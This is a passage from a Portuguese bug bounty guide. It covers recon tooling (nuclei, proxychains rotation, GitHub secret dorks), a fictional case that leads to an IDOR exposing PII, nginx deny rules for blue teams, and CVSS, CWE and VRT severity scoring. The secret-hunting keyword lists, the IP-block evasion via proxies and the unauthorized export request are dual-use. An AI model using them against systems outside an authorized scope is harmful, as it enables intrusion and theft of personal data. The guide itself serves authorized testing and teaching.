"alvo.com" PERSONAL_ACCESS_TOKEN
```

Esse é o caminho do achado **crítico** real: usuário e senha de **produção** hardcoded num `app.js` exposto no GitHub, dando acesso direto à aplicação (bounty de cinco dígitos). Padrões valiosos: `password`, `client_secret`, `api_token`, `DB_PASSWORD`, `AWS_SECRET`, arquivos `.env`, `config.php`, `.npmrc`, `.s3cfg`.

> **Automatize a vigilância de segredos:** ferramentas como **trufflehog** e **gitleaks** varrem repositórios inteiros (e o histórico de commits, onde os segredos costumam sobreviver mesmo depois de "removidos") atrás de credenciais com alta confiança.

Etapa 7 — Varredura por templates com nuclei

Você já tem a lista de hosts vivos do `httpx`. O **nuclei** (também da ProjectDiscovery) fecha o ciclo do recon: é um scanner que dispara **templates** (regras em YAML, mantidas pela comunidade) contra cada host pra detectar **CVEs conhecidas, misconfigurations, painéis expostos, arquivos sensíveis e exposições padrão**. Ele não substitui o teste manual — é a primeira peneira automática que separa "host comum" de "host com algo errado de cara".

```
# Instalar
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# -l = lista de hosts vivos;  -severity filtra o ruído;  -rl = rate limit;  -o salva
nuclei -l hosts-vivos.txt -severity medium,high,critical -rl 10 -o nuclei-out.txt
```

- `-l hosts-vivos.txt` → a lista (use a saída do `httpx`; pra um só alvo, `-u https://alvo.com`).
- `-t http/cves/` (*templates*) → roda só uma pasta/template específico (sem isso, usa o conjunto padrão). `-tags exposure,config` filtra por tag.
- `-severity medium,high,critical` → ignora os `info` / `low` e foca no que tende a virar report.
- `-rl 10` (*rate-limit*) → **requisições por segundo** (default **150**, alto demais pra programa sensível). Abaixe.
- `-o nuclei-out.txt` → salva os achados.

> **Nem todo achado do nuclei é vulnerabilidade.** O template aponta um *padrão*, não confirma impacto. Antes de reportar, **leia o que o template faz** e entenda a CVE — muita coisa marcada como `info` (ou até uma CVE com PoC) só "exibe uma tela" sem dano real. Validar o impacto manualmente é o que separa um report aceito de um "informativo" (ou de um falso-positivo que queima sua reputação). Aprofundamos isso em Security Misconfiguration & CVE hunting.

Proxies, rotação e o cuidado com rate limit

Recon ativo manda **muitas** requisições. Duas consequências: (1) o WAF/servidor pode **te bloquear por IP**; (2) você pode **prejudicar o alvo** (e violar as regras do programa). A defesa do caçador:

1. **Respeite o rate limit nativo das ferramentas** — já vimos: `-t` no ffuf, `-rl` no katana/httpx/subfinder. **Essa é a primeira linha.** Se as regras dizem "máx. 20 req/s", configure pra isso.
2. **Proxychains pra rotacionar saída.** Quando você *precisa* de mais throughput sem queimar seu IP, roteia o tráfego por uma lista de proxies:

```
# /etc/proxychains4.conf (caminho no Kali/Debian; o upstream usa /etc/proxychains.conf)
# -> adicione suas proxies no fim, em [ProxyList]:
#   http  198.51.100.10  8080
#   socks5 203.0.113.5   1080

# Roda qualquer ferramenta através da cadeia de proxies
proxychains4 ffuf -w wordlist.txt -u https://alvo.com/FUZZ -t 10
```

O `proxychains4` intercepta as conexões da ferramenta e as força pela `[ProxyList]`. Na config você escolhe `dynamic_chain` (pula proxies offline) ou `random_chain` (rotaciona aleatoriamente).

1. **Rotação de proxies pra scan pesado.** Pra rodar com muitas threads sem tomar block, monte uma **rotação**: pegue proxies grátis da internet + um verificador que cheque quais estão online (free, mais trabalhoso), ou use um serviço pago por GB (modelo comum no mercado). Passe a lista resultante pro proxychains.

> **Ética e proporção:** proxy não é pra "burlar regra de escopo" — é pra **distribuir carga e não derrubar o alvo nem seu próprio IP**. Se o programa proíbe scan automatizado pesado, proxy não te autoriza a fazer mesmo assim. Recon agressivo demais já tirou gente de programa.

Como achar programas pra caçar

Recon não serve de nada sem um alvo **autorizado**. Onde encontrar:

- **Plataformas com programas públicos** — qualquer um pode participar:
- HackerOne — o maior diretório.
- Bugcrowd — programas e VDPs.
- Intigriti — forte na Europa (e que detalha limites de request nas regras).
- YesWeHack — bom volume de programas EU/global.
- **VDP (Vulnerability Disclosure Program)** — programas que **não pagam** bounty, mas autorizam o teste e aceitam o report (às vezes com Hall of Fame). São o **melhor lugar pra começar**: você treina recon em alvo real e legal, constrói reputação e **reputação destrava convites privados**.
- **Programas privados (onde está o dinheiro melhor)** — você não escolhe entrar; você é **convidado**. O critério é histórico: reports válidos, sinal-ruído alto, bom comportamento. A escada é: comece em **VDPs e programas públicos** → reporte com qualidade → receba **convites privados** (menos concorrência, alvos menos "raspados", bounties melhores).

> **Dica de carreira:** o caminho clássico é "VDP pra aprender → público pra ganhar os primeiros → privado pra crescer". Recon impecável é o que te diferencia no público lotado e o que chama atenção pra você ser convidado pro privado.

Caso real-fictício: do nada a um endpoint admin

> Cenário **fictício, baseado em padrões reais** de bug bounty (anonimizado). Alvo no escopo: `*.alvo.com`.

Passo 1 — Passivo. Junto três fontes:

```
subfinder -d alvo.com -all -silent -o s.txt
amass enum -passive -d alvo.com -o a.txt
curl -s "https://crt.sh/?q=%.alvo.com&output=json" | jq -r '.[].name_value' | sed 's/
\*\.//g' > c.txt
cat s.txt a.txt c.txt | sort -u > all-subs.txt   # 812 nomes únicos
```

Passo 2 — Probing. Confirmo o que está vivo:

```
cat all-subs.txt | httpx -mc 200,401 -title -tech-detect
```

```
https://app.alvo.com        [200] [Portal do Cliente] [React]
https://api.alvo.com        [200] [—] [nginx]
```

```
https://old-panel.alvo.com  [401] [Internal Ops] [Spring Boot]   # <- 401 num painel
"Internal Ops": cheiro de coisa esquecida
```

O `old-panel` com **401** e título "Internal Ops" é o alvo. Painel interno, autenticado, mas **público na internet**.

Passo 3 — JS + construção de path. Coleto e leio o JS do `app.alvo.com`:

```
echo app.alvo.com | gau | grep '\.js$' | httpx -mc 200 -ct | grep javascript
python3 linkfinder.py -i https://app.alvo.com/static/main.js -o cli
```

No `main.js`, lendo manualmente, acho o padrão:

```
const OPS = "https://old-panel.alvo.com/internal/v1";
fetch(`${OPS}/reports/${id}/export`);   // <- padrão: /internal/v1/<recurso>/<id>/
<ação>
```

Passo 4 — Validar. O endpoint de export, por analogia ao padrão, aceita requisição sem o cookie de admin (falha de autorização). Confirmo no Burp Repeater que `GET /internal/v1/reports/1001/export` devolve um relatório com PII (*Personally Identifiable Information* — dados pessoais como nome, CPF, e-mail; mais no Glossário). **A partir daqui vira um caso de Broken Access Control** — veja Broken Access Control: IDOR, BOLA e BFLA.

O que a tela mostraria: o terminal do httpx com o `old-panel` destacado em `401`; o Burp Repeater com a request `/internal/v1/reports/1001/export` à esquerda e, à direita, um `200 OK` devolvendo JSON com dados que não deveriam ser acessíveis sem privilégio.

A moral: **nenhuma etapa sozinha** entregou o bug. Foi subdomínio (recon) + título suspeito (probing) + padrão no JS (análise) + construção manual de path. Recon encadeado.

Defesa em camadas (para o time azul)

Recon explora o que você **expõe sem querer**. A defesa é reduzir e monitorar essa superfície.

1. Não exponha o que não precisa estar público. Painéis internos, homologação e APIs administrativas atrás de **VPN / mTLS / IP allowlist** — não na internet aberta.

```
# nginx: restringe o painel interno a uma faixa de IP confiável
location /internal/ {
    allow 10.0.0.0/8;       # rede interna
    deny  all;              # <- todo o resto é negado (deny by default)
}
```

2. Monitore CT logs ativamente. Se subdomínio vaza por certificado, **vigie seus próprios certificados**. Ferramentas/serviços de *certificate transparency monitoring* te alertam quando um novo `*.suaempresa.com` é emitido — você descobre o `staging-novo.alvo.com` antes do atacante.

3. Mate subdomain takeover na raiz. Tenha um processo: ao desprovisionar um serviço (bucket S3, app Heroku, Azure), **remova o registro DNS (`CNAME`) junto**. Um job que checa registros apontando pra recursos inexistentes:

```
# pseudo-rotina de auditoria: para cada CNAME, checar se o destino ainda existe
dig +short staging-assets.alvo.com    # se aponta pra bucket S3 que retorna
NoSuchBucket -> takeover possível
```

4. Não deixe segredo entrar no repositório. Scan de segredos no **CI/CD** (pre-commit hook + pipeline) com `gitleaks` / `trufflehog` . Se um segredo *já* vazou, **rotacione a credencial** — remover o arquivo não basta, ele sobrevive no histórico do git.

5. Higiene de arquivos no deploy. Pipeline que **impede** subir `.env` , `*.save` , `*.bak` , `.git/` pra produção. Configure o servidor pra negar esses padrões.

```
# nginx: nega backups e VCS expostos
location ~ /\.(git|env)|\.(bak|save|old)$ { deny all; return 404; }
```

> **O que NÃO basta:** "esconder" o subdomínio sem linkar (CT log expõe), confiar que um endpoint não documentado é seguro (o JS documenta), apagar o segredo só do último commit (o histórico guarda), ou bloquear só o `GET` de um painel e deixar a API por trás aberta.

Ferramentas + labs legais

Ferramenta	Pra quê
subfinder / amass	Enumeração de subdomínios (passiva e ativa)
httpx	Probing: hosts vivos, status, título, tech
gau / waybackurls	URLs históricas dos web archives
katana	Crawler com parsing de JS
ffuf	Fuzzing de conteúdo e parâmetros
paramspider	Descoberta de parâmetros via archives
LinkFinder / FindSomething	Extração de endpoints de arquivos JS
nuclei	Scanner por templates (CVEs, misconfig, exposições) sobre os hosts vivos
gitleaks / trufflehog	Caça a segredos em repositórios
proxychains	Rotação de proxy / controle de saída

Pratique de forma legal: - PortSwigger Web Security Academy — Information disclosure (recon e análise; tem o "mystery lab" pra treinar achar do zero). - TryHackMe e Hack The Box — trilhas inteiras de recon em ambiente autorizado. - Monte um alvo seu (uma app de teste, um VPS próprio) pra rodar o pipeline sem tocar em terceiros.

Checklist do caçador

- [ ] Conferi o **escopo** e os **limites de request** do programa antes de qualquer coisa.
- [ ] Rodei recon **passivo primeiro** (subfinder + amass passivo + crt.sh) e **deduppliquei** tudo.
- [ ] Probing com `httpx` (`-mc`, `-title`, `-tech-detect`); anotei `401`s e títulos suspeitos.
- [ ] Coletei URLs históricas (`gau`, `waybackurls`) e cravei os **parâmetros antigos**.
- [ ] Achei os `.js`, rodei LinkFinder **e** li manualmente atrás de **padrões de path**.
- [ ] Tentei **construir rotas** por analogia ao padrão do JS (não só as que a ferramenta extraiu).
- [ ] Fuzzing com `ffuf` controlando **threads (`-t`)**; busquei `.bak/.save/.git/.env`.
- [ ] Crawler `katana -jc` + `paramspider` pra fuzzing passivo antes do agressivo.
- [ ] Google dorks (swagger/api-docs) e GitHub dorks (segredos/`.env`).
- [ ] Rodei `nuclei` (`-severity medium,high,critical`) nos hosts vivos e **validei cada achado** antes de reportar.
- [ ] Configurei rate limit / proxychains pra **não derrubar o alvo nem meu IP**.

Pegadinhas / o que NÃO funciona

- **Pular o passivo e ir direto no scan barulhento** → block na primeira hora, alvos mortos testados à toa.
- **Confiar só em ferramenta de extração** → o achado crítico estava num **path construído manualmente** a partir do padrão do JS, não no output do LinkFinder.
- **Desistir no primeiro 403/404** → rota legítima às vezes precisa de bypass (ex.: caractere `;`) ou de estar autenticado.
- **Comemorar toda "secret" do JS** → `VUE_APP_*`, `pk_live_`, sitekeys são **públicas**. Valide se é credencial sensível de verdade.
- **Achar que recon é só rodar ferramenta** → relato real: o diferencial foi **uma fonte de API** que poucos integram ao subfinder e a **leitura humana** do JS. Tooling todo mundo tem; método e atenção, não.
- **Reportar achado do nuclei sem validar** → o template aponta um padrão, não confirma impacto. Leia o template, entenda a CVE, prove o dano — senão vira "informativo" (ou falso-positivo que queima sua reputação).
- **Estourar o rate limit "porque é rápido"** → te tira do programa. `-t` baixo é educação e sobrevivência.

O que você precisa lembrar

- **Recon vence payload.** Você acha bug onde os outros não olharam — subdomínio esquecido, endpoint no JS, segredo no GitHub.

- **Passivo antes de ativo.** Colete de graça e em silêncio; só depois confirme no alvo.
- **JS é a melhor fonte.** Leia cada detalhe e **construa paths** a partir do padrão, não só extraia.
- **Junte e deduplique** várias fontes — o host que vale o bounty pode ser o que só uma achou.
- **Respeite o rate limit.** Ferramenta rápida demais = block e expulsão.

> **Dica de ouro:** o recon não termina quando você acha o subdomínio — ele termina quando você **entende a aplicação**. A diferença entre quem fatura cinco dígitos e quem fatura zero raramente é o exploit; é **quem leu o JavaScript inteiro e construiu a rota que ninguém mais viu**.

Nota ética

Tudo aqui é pra **alvos autorizados**: programas de bug bounty dentro do escopo, VDPs, pentests contratados e labs legais. Enumerar e fuzzar sistemas de terceiros sem autorização é crime — e desnecessário, porque sobra ambiente legal pra treinar. Recon agressivo pode **derrubar** um serviço: controle suas threads, respeite os limites do programa e, ao achar dado sensível, **pare, não exfiltre, e reporte com responsabilidade**.

Referências

- ProjectDiscovery — subfinder, httpx, katana e nuclei
- OWASP Amass
- tomnomnom/waybackurls e lc/gau
- ffuf · ParamSpider · GerbenJavado/LinkFinder
- crt.sh — Certificate Transparency logs
- PortSwigger — Information disclosure
- daffainfo/AllAboutBugBounty — Reconnaissance & GitHub Dorks
- Google Hacking Database (Exploit-DB)

Severidade, Impacto e Triagem: falando a língua do programa

O mesmo bug, dois bounties diferentes

> **IDOR** (e **PII**): IDOR é trocar um identificador na request (`?id=1001` → `?id=1002`) e acessar dado que não é seu; PII são dados pessoais (CPF, cartão, telefone). Detalhe no Glossário.

Dois caçadores acham o **mesmo** IDOR no mesmo programa. O primeiro escreve: "*dá pra trocar o `id` e ver o perfil de outro usuário*". Recebe **R$500** e um "obrigado". O segundo escreve: "*qualquer usuário autenticado lê nome, CPF e telefone de todos os clientes; enumerei 2.000 contas em 4 minutos — vazamento de PII em massa, violação de LGPD*", anexa o vetor `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` (6.5, Medium) com a justificativa de subir pra High pela escala, e cita a CWE-639. Recebe **R$5.000**.

Mesma falha. A diferença não foi a técnica — foi a capacidade de **traduzir o achado para a língua que o programa usa para precificar risco**: severidade, impacto, CVSS, CWE e a taxonomia da plataforma. Esse capítulo é sobre essa língua. Quem domina ela não só ganha mais por bug, como **discute de igual pra igual** quando o triador tenta rebaixar um achado.

> A regra que rege tudo: **o bounty paga pelo impacto, não pelo esforço.** Você pode ter quebrado a cabeça numa cadeia de 6 requests; se o resultado final é "consigo ler um e-mail que já é semi-público", paga pouco. Já um `?id=1001 → ?id=1002` de 10 segundos que expõe CPF de milhões pode ser crítico. Triador não paga sofrimento; paga consequência.

O que é "severidade" e o que é "impacto"

São coisas relacionadas, mas não iguais — confundir as duas é o erro de quem está começando.

- **Impacto** é a **consequência no mundo real**: o que um atacante consegue fazer e o tamanho do estrago. "Lê PII de todo mundo", "transfere dinheiro", "derruba o serviço".
- **Severidade** é a **nota padronizada** que a gente dá pra esse impacto, numa escala que todos entendem (Baixo/Médio/Alto/Crítico, ou um número CVSS de 0 a 10).

> **Analogia:** numa emergência médica, o **impacto** é "o paciente está com dor no peito e falta de ar". A **severidade** é a classificação de triagem — a pulseira vermelha/amarela/

> verde que define a ordem de atendimento. O enfermeiro da triagem (o **triador** do programa) pega a sua descrição do impacto e atribui uma pulseira. Se você descreve mal o sintoma, leva pulseira verde numa coisa que era vermelha.

E é por isso que **triagem** (o ato do programa avaliar, validar e classificar o seu report) é o momento em que o seu impacto vira severidade vira dinheiro. Você não controla a decisão final, mas controla **toda a informação que alimenta ela**.

Por que o impacto define o bounty (e como pensar nele)

Programas pagam para **reduzir risco**. Risco, na prática, é `probabilidade × impacto`. Como o seu report já prova que a falha existe (probabilidade ~100%), o que sobra para precificar é o **impacto**. E impacto tem três dimensões que você precisa atacar em todo report:

Dimensão	Pergunta que o triador faz	Como você maximiza
Sensibilidade do dado/ação	"O que vaza ou o que dá pra fazer?"	PII (CPF, cartão), credenciais, dinheiro, RCE > dado público
Escala	"Quantos usuários/contas isso afeta?"	"todos os clientes" >>> "só a minha conta"
Pré-condições	"Quão difícil é explorar?"	sem login e sem interação > precisa ser admin + phishing

> **Analogia:** é igual avaliar um vazamento de água. Não importa só que vaza — importa **o que** vaza (água limpa ou esgoto?), **quanto** vaza (uma gota ou um cano rompido?) e **o que precisa acontecer** pra vazar (sempre, ou só quando alguém abre três torneiras ao mesmo tempo?). Um report bom responde as três perguntas antes do triador perguntar.

A tabela `tip-impacto` que você vai montar mentalmente em todo achado é essa. Guarde-a.

CVSS: o "termômetro" universal de severidade

CVSS (Common Vulnerability Scoring System) é o padrão da indústria — mantido pela FIRST.org — para transformar características de uma vulnerabilidade num **número de 0.0 a 10.0**. É o que o NVD usa, o que vai nas CVEs, e o que a maioria dos programas espera ver no seu report.

Pensa no CVSS como uma **receita**: você escolhe os ingredientes (as métricas), e a fórmula cospe o prato (o score). O legal é que a "lista de ingredientes" — o **vetor** — é mais importante que o número, porque ela mostra **como você chegou lá**. Um triador pode discordar do seu número, mas se o vetor está certo, a conversa é objetiva.

A escala qualitativa (igual em 3.1 e 4.0)

Faixa	Rating
0.0	None / Informativo
0.1 – 3.9	Low / Baixo
4.0 – 6.9	Medium / Médio
7.0 – 8.9	High / Alto
9.0 – 10.0	Critical / Crítico

CVSS v3.1 — as 8 métricas base que você precisa dominar

O **vetor** começa sempre com `CVSS:3.1/` seguido das oito métricas base, separadas por `/`. Elas se dividem em dois grupos: **explorabilidade** (quão fácil é atacar) e **impacto** (o que acontece). Vamos uma a uma, com o *porquê* de cada valor:

Grupo Explorabilidade:

Métrica	Sigla	Valores	O que significa (do "pior pro melhor" pro atacante)
Attack Vector	`AV`	`N` Network, `A` Adjacent, `L` Local, `P` Physical	De onde se ataca. `N` (pela internet) é o pior caso → score mais alto
Attack Complexity	`AC`	`L` Low, `H` High	Precisa de condições especiais fora do controle do atacante? `L` = não, é só mandar
Privileges Required	`PR`	`N` None, `L` Low, `H` High	Que nível de acesso o atacante precisa ter? `N` = nenhum (anônimo) é o pior caso
User Interaction	`UI`	`N` None, `R` Required	A vítima precisa clicar/fazer algo? `N` = ataque sozinho, sem ajuda
Scope	`S`	`U` Unchanged, `C` Changed	A falha estoura o "compartimento" dela e afeta outros componentes? `C` = sim (mais grave)

Grupo Impacto (a tríade clássica de segurança — **CIA**):

Métrica	Sigla	Valores	O que significa
Confidentiality	`C`	`H` High, `L` Low, `N` None	Quanto dado **vaza**? `H` = vaza tudo que importa
Integrity	`I`	`H` High, `L` Low, `N` None	Quanto dado o atacante consegue **alterar**?
Availability	`A`	`H` High, `L` Low, `N` None	Quanto o serviço fica **indisponível**?

> **Analogia do Scope (`S`), que é a métrica que mais confunde:** imagina um apartamento. Se você arromba a porta e rouba só aquele apartamento, o `Scope` é **Unchanged** — o estrago ficou contido na "autoridade" daquele recurso. Agora, se ao arrombar você ganha a chave-mestra do prédio inteiro e a sala de segurança, o `Scope` é

> **Changed** — a falha em um componente comprometeu **outros**. Exemplo clássico de `S:C`: um XSS (que vive no navegador da vítima) ataca a sessão e o domínio da aplicação — saiu do "compartimento" dele.

Lendo um vetor de cabeça

Pega este, de uma RCE não autenticada (RCE = *Remote Code Execution*, rodar código no servidor do alvo — o pior caso):

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
```

Traduzindo em voz alta: "*Ataco pela rede (`AV:N`), é fácil (`AC:L`), não preciso de login (`PR:N`) nem que a vítima faça nada (`UI:N`); não estoura o escopo (`S:U`), mas vaza tudo (`C:H`), altera tudo (`I:H`) e derruba tudo (`A:H`).*" Resultado: **9.8 Critical**. É o vetor canônico de RCE no VRT da Bugcrowd.

Calculando um score passo a passo (sem decoreba)

Você **não precisa** calcular na mão — a calculadora oficial da FIRST faz isso e gera o vetor pra você. Mas entender a mecânica blinda você contra triador que erra a conta. A fórmula da v3.1 tem três peças:

1. **ISS (Impact Sub-Score):** `1 − [(1−C)(1−I)(1−A)]` — combina a tríade CIA. Cada métrica vira um peso (`H=0.56`, `L=0.22`, `N=0`).
2. **Impact:** com `Scope:U`, é `6.42 × ISS`.
3. **Exploitability:** `8.22 × AV × AC × PR × UI` (cada um com seu peso da tabela oficial).

O Base Score (com `S:U`) é `roundup(min(Impact + Exploitability, 10))`.

Vamos calcular um **IDOR que lê PII, exigindo só estar logado** — vetor `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`:

```
# Pesos oficiais da spec CVSS v3.1 (first.org/cvss/v3.1/specification-document)
AV, AC, PR, UI = 0.85, 0.77, 0.62, 0.85   # N, L, L (com Scope:U), N
C, I, A        = 0.56, 0.0, 0.0           # H, N, N

ISS    = 1 - ((1 - C) * (1 - I) * (1 - A))   # = 0.56
Impact = 6.42 * ISS                          # = 3.5952
Expl   = 8.22 * AV * AC * PR * UI            # = 2.8352...
Base   = min(Impact + Expl, 10)              # = 6.4304...
# roundup p/ 1 casa decimal (regra da spec: arredonda pra CIMA) -> 6.5 (Medium)
```

> **Pegadinha do `Scope` no peso do `PR`:** quando `Scope:U`, `PR:L` vale **0.62**; quando `Scope:C`, `PR:L` sobe pra **0.68** (e `PR:H` vai de **0.27** para **0.50**). O `PR` é a **única métrica cujo peso muda conforme o escopo** — esquecer disso é o erro de conta mais comum.

> Conferindo na calculadora oficial, o vetor acima dá exatamente **6.5 (Medium)** — sempre valide o número na ferramenta em vez de confiar na conta de cabeça.

A lição prática: **monte o vetor com cuidado e deixe a calculadora dar o número.** O seu trabalho de caçador é escolher as 8 letras certas — e saber defender cada uma.

CVSS v4.0 — o que mudou (e por que aprender)

A v4.0 (lançada em 2023, spec oficial) é a evolução. Programas estão migrando devagar; você vai ver os dois por anos. As mudanças que importam:

- **Quatro grupos de métricas: Base**, **Threat** (substitui o antigo Temporal — reflete se já existe exploit ativo), **Environmental** (ajuste pro seu ambiente) e **Supplemental** (contexto que não muda o score).
- **Nomenclatura nova: CVSS-B** (só Base), **CVSS-BT** (Base + Threat), **CVSS-BTE** (tudo). Quando você reporta com base só na falha, é tecnicamente um **CVSS-B**.
- **Nasce o `AT` (Attack Requirements):** separa "complexidade do ataque" das "condições de deployment que precisam existir". Antes tudo ficava enfiado no `AC`.
- **`UI` agora tem 3 valores:** `N` None, `P` **Passive** (interação acontece sem a vítima querer, tipo carregar uma página) e `A` **Active** (a vítima precisa agir deliberadamente).
- **Morre o `Scope`; nasce a separação Sistema Vulnerável × Sistema Subsequente:** em vez do `S`, agora você pontua o impacto no **sistema vulnerável** (`VC` / `VI` / `VA`) **e** o impacto em **sistemas subsequentes** (`SC` / `SI` / `SA`). É um jeito mais honesto de medir "o estrago vazou pra fora?".

O mesmo RCE do exemplo, em v4.0, fica assim:

```
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
```

> **A pegadinha que pega todo mundo: esse vetor NÃO dá 9.8 em v4.0 — dá `9.3` (Critical).** Em v3.1, comprometer "tudo" no servidor (`C:H/I:H/A:H` com `S:U`) chega a 9.8. Em v4.0, o impacto se divide entre **sistema vulnerável** (`VC/VI/VA`, que estão `H`) e **sistemas subsequentes** (`SC/SI/SA`, aqui `N`). Como o estrago ficou contido no servidor afetado e não vazou pra outros sistemas, o teto cai: **só chega a 10.0 quando os sistemas subsequentes também são `H`** (`SC:H/SI:H/SA:H`). É exatamente assim que a FIRST pontua o Log4Shell (CVE-2021-44228) — vulnerável-`H`, subsequente-`N` → **9.3**. Moral: **não copie o número da v3.1 pra v4.0** — recalcule sempre na calculadora oficial v4.0.
>
> Na prática do dia a dia: aprenda v3.1 **de verdade** (é o que mais aparece) e saiba **traduzir** pra v4.0. Quase todo programa aceita o vetor v3.1; alguns pedem v4.0. Ter os dois no report é sinal de maturidade.

CWE: dando o "nome do sobrenome" da falha

Se o CVSS responde **"quão grave?"**, o **CWE** (Common Weakness Enumeration, da MITRE) responde **"que tipo de fraqueza é?"**. É um catálogo numerado de **classes de erro de software** — tipo um CID-10 da segurança. Cada entrada tem um número (`CWE-NNN`), um nome canônico e uma descrição.

> **Analogia:** o CVSS é o "termômetro" (mede a febre); o CWE é o "diagnóstico" (é gripe, dengue ou COVID?). Dois reports podem ter o mesmo score 7.5, mas CWEs completamente diferentes — e o time de dev conserta cada classe de um jeito.

Citar o CWE certo faz três coisas pelo seu report: mostra que você **sabe o que achou**, ajuda o time a **rotear pro dono certo do código**, e **acelera a triagem**. Os que mais aparecem em bug bounty web:

CWE	Nome oficial (MITRE)	Classe que você costuma reportar
CWE-639	Authorization Bypass Through User-Controlled Key	IDOR/BOLA
CWE-862	Missing Authorization	BFLA, função sem checagem de permissão
CWE-200	Exposure of Sensitive Information to an Unauthorized Actor	vazamento de PII/dados
CWE-79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	XSS
CWE-89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	SQLi
CWE-918	Server-Side Request Forgery (SSRF)	SSRF
CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	LFI/Path Traversal

> **Como referenciar:** escreva `CWE-639: Authorization Bypass Through User-Controlled Key` e linke pra `https://cwe.mitre.org/data/definitions/639.html`. Não invente o nome — pega o **canônico** direto da MITRE. Nome errado mina sua credibilidade na hora.
> '

VRT da Bugcrowd: prevendo a classificação ANTES de reportar

> **ATO** (Account Takeover): comprometimento total da conta da vítima (sessão, brute force, phishing) — acesso aos dados e ações dela.

Aqui está o segredo que economiza horas: o **VRT (Vulnerability Rating Taxonomy)** da Bugcrowd é uma tabela pública que diz, pra cada classe de falha, **qual prioridade a Bugcrowd tende a dar por padrão**. É literalmente o "gabarito" que os triadores usam. Ler o VRT antes de reportar é como **ver as respostas da prova** — você já sabe se aquilo vale P1 ou P5.

A escala de prioridade vai de **P1 a P5**:

Prioridade	Significado	Paga?	Exemplos típicos
P1	Critical	$$$	RCE, SQLi com leitura no servidor, ATO (*account takeover*, roubo de conta) em massa, roubo financeiro
P2	High	$$	IDOR lendo PII, SSRF interno, autenticação quebrada significativa
P3	Medium	$	XSS armazenado limitado, CSRF em ação relevante, IDOR de dado moderado
P4	Low	$ (baixo)	XSS refletido com pré-condições, open redirect, falhas de menor alcance
P5	Informational	normalmente **não paga**	"best practice", falhas por design, risco aceito pelo negócio

O ouro está nas variações por **contexto**. Um IDOR não é uma coisa só — o VRT atual (Broken Access Control → IDOR, VRT 1.18) detalha por **tipo de identificador** (iterável/sequencial vs. GUID/complexo) e **ação**:

- **P1** — Modificar/ver **dado sensível** com identificador **iterável** (sequencial).
- **P2** — Modificar **dado sensível** com identificador **iterável**.
- **P3** — Ver **dado sensível** com identificador **iterável**.
- **P4** — Modificar/ver **dado sensível** com identificador **complexo (GUID/UUID)**.
- **P5** — Ver **dado não-sensível**.

Repara: **o que muda a prioridade é exatamente o trio que discutimos** — sensibilidade (sensível > não-sensível), ação (modificar > só ler) e dificuldade (ID **iterável** vale mais que GUID, porque é trivial de enumerar em massa). O VRT inclusive **mapeia cada categoria pra um vetor CVSS de referência** (JSON público no GitHub). Alguns exemplos reais desse mapeamento:

```
remote_code_execution_rce      -> AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H   (9.8, P1)
sql_injection                  -> AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N   (8.2, P1)
using_default_credentials      -> AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L   (9.4, P1)
bypass_of_password_confirmation-> AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N   (7.1, P2)
username_enumeration           -> AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N   (3.7, P4/P5)
```

> **Workflow que eu uso:** achei o bug → abro o VRT → encontro a categoria mais próxima → vejo a prioridade-base e o vetor de referência → **ajusto pro meu contexto** (minha escala é maior? meu dado é mais sensível?) → escrevo o report já alinhado

> àquela expectativa. Quando o triador abre, ele vê exatamente o que esperava ver. Triagem rápida = bounty rápido.

E quando o programa é da **HackerOne** e não da Bugcrowd? O VRT ainda serve de referência mental excelente, mas confira o **CVSS** que a própria H1 calcula e a política de severidade do programa. Ferramentas que ajudam: a calculadora CVSS da FIRST, o site do CWE pra confirmar nomes, e o próprio JSON do VRT pra puxar vetores prontos.

Exemplo de classificação por classe de falha

Pra fixar, aqui vai a "tradução" de achados comuns. Todos os scores foram conferidos na calculadora oficial — copie e adapte. Adicionei a coluna **CVSS v4.0 (CVSS-B)** porque cada vez mais programa pede os dois lado a lado:

Achado (cenário fictício)	CWE	Vetor CVSS v3.1	Score v3.1	CVSS v4.0 (CVSS-B)	VRT
RCE não-autenticada em upload	CWE-94/ CWE-78	`AV:N/AC:L/PR:N/ UI:N/S:U/C:H/ I:H/A:H`	**9.8** Crit	**9.3** Crit — `VC:H/VI:H/VA:H/ SC:N/SI:N/SA:N`	P1
SQLi extraindo banco	CWE-89	`AV:N/AC:L/PR:N/ UI:N/S:U/C:H/ I:L/A:N`	**8.2** High	*(ver nota)*	P1
IDOR lendo PII de todos (logado)	CWE-639	`AV:N/AC:L/PR:L/ UI:N/S:U/C:H/ I:N/A:N`	**6.5** Med	*(ver nota)*	P2
IDOR lendo PII **sem login**	CWE-639	`AV:N/AC:L/PR:N/ UI:N/S:U/C:H/ I:N/A:N`	**7.5** High	~**8.7** — `VC:H/VI:N/VA:N/ SC:N/SI:N/SA:N` (vetor do Heartbleed)	P2
XSS refletido (rouba sessão)	CWE-79	`AV:N/AC:L/PR:N/ UI:R/S:C/C:L/ I:L/A:N`	**6.1** Med	**5.1** Med — `UI:A/VC:N/VI:N/ VA:N/SC:L/SI:L/SA:N`	P3/ P4
Enumeração de usuário	CWE-200	`AV:N/AC:H/PR:N/ UI:N/S:U/C:L/ I:N/A:N`	**3.7** Low	*(ver nota)*	P4/ P5

